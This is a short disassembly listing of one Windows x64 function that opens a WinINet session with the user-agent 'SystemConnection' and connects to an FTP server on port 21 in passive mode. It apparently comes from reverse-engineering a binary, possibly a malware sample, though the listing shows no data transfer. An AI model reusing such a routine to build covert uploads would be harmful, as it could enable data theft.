mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x40]
lea rcx, [0x140070128]
call fcn.14001a5b3
mov rax, qword [rbp + 0x100]
mov rcx, rax
call fcn.140019230
mov dword [rsp + 0x20], 0x10000
xor r9d, r9d
mov r8, rax
mov edx, 1
lea rcx, str.SystemConnection
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rcx, qword [rbp + 0x100]
mov qword [rcx + 0x78], rax
mov rax, qword [rbp + 0x100]
add rax, 0x50
mov rcx, rax
call fcn.140019230
mov qword [rbp + 0xc0], rax
mov rax, qword [rbp + 0x100]
add rax, 0x28
mov rcx, rax
call fcn.140019230
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0x100]
mov rcx, rax
call fcn.140019230
mov qword [rbp + 0xd0], rax
mov rax, qword [rbp + 0x100]
mov rax, qword [rax + 0x78]
mov qword [rbp + 0xd8], rax
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0x8000000
mov dword [rsp + 0x28], 1
mov rax, qword [rbp + 0xc0]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0xc8]
mov r8w, 0x15
mov rdx, qword [rbp + 0xd0]
mov rcx, qword [rbp + 0xd8]
call qword [sym.imp.WININET.dll_InternetConnectA]
mov rcx, qword [rbp + 0x100]
mov qword [rcx + 0x80], rax
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret